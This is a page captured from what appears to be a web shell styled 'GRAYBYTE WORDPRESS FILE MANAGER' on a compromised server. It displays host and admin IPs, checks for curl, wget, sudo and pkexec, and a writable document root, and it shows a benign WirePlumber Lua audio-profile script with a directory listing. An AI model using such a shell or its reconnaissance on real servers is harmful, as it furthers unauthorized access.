✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/share/wireplumber/scripts/device//find-preferred-profile.lua
-- WirePlumber
--
-- Copyright © 2024 Collabora Ltd.
--
-- SPDX-License-Identifier: MIT
--
-- Finds the user preferred profile for a device, based on the priorities
-- defined in the "device.profile.priority.rules" section of the configuration.

cutils = require ("common-utils")
log = Log.open_topic ("s-device")

config = {}
config.rules = Conf.get_section_as_json ("device.profile.priority.rules", Json.Array {})

SimpleEventHook {
  name = "device/find-preferred-profile",
  after = "device/find-stored-profile",
  before = "device/find-best-profile",
  interests = {
    EventInterest {
      Constraint { "event.type", "=", "select-profile" },
    },
  },
  execute = function (event)
    local selected_profile = event:get_data ("selected-profile")

    -- skip hook if the profile is already selected for this device.
    if selected_profile then
      return
    end

    local device = event:get_subject ()
    local props = JsonUtils.match_rules_update_properties (
        config.rules, device.properties)
    local p_array = props["priorities"]

    -- skip hook if the profile priorities are NOT defined for this device.
    if not p_array then
      return nil
    end

    local p_json = Json.Raw(p_array)
    local priorities = p_json:parse()
    local device_name = device.properties["device.name"] or ""

    for _, priority_profile in ipairs(priorities) do
      for p in device:iterate_params("EnumProfile") do
        local device_profile = cutils.parseParam(p, "EnumProfile")
        if device_profile and device_profile.name == priority_profile then
          selected_profile = device_profile
          goto profile_set
        end
      end
    end

::profile_set::
    if selected_profile then
      log:info (device, string.format (
        "Found preferred profile '%s' (%d) for device '%s'",
        selected_profile.name, selected_profile.index, device_name))
      event:set_data ("selected-profile", selected_profile)
    else
      log:info (device, "Profiles listed in 'device.profile.priority.rules'"
        .. " do not match the available ones of device: " .. device_name)
    end

  end
}:register()

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 May 2026 4.58 AM
root / root
0755
apply-profile.lua
1.781 KB
10 Oct 2025 2.43 PM
root / root
0644
apply-routes.lua
3.405 KB
10 Oct 2025 2.43 PM
root / root
0644
automute-alsa-routes.lua
7.085 KB
10 Oct 2025 2.43 PM
root / root
0644
autoswitch-bluetooth-profile.lua
14.967 KB
10 Oct 2025 2.43 PM
root / root
0644
find-best-profile.lua
2.215 KB
10 Oct 2025 2.43 PM
root / root
0644
find-best-routes.lua
2.49 KB
10 Oct 2025 2.43 PM
root / root
0644
find-preferred-profile.lua
2.09 KB
10 Oct 2025 2.43 PM
root / root
0644
find-voice-call-profile.lua
2.119 KB
10 Oct 2025 2.43 PM
root / root
0644
select-profile.lua
0.703 KB
10 Oct 2025 2.43 PM
root / root
0644
select-routes.lua
4.903 KB
10 Oct 2025 2.43 PM
root / root
0644
state-profile.lua
4.11 KB
10 Oct 2025 2.43 PM
root / root
0644
state-routes.lua
11.61 KB
10 Oct 2025 2.43 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF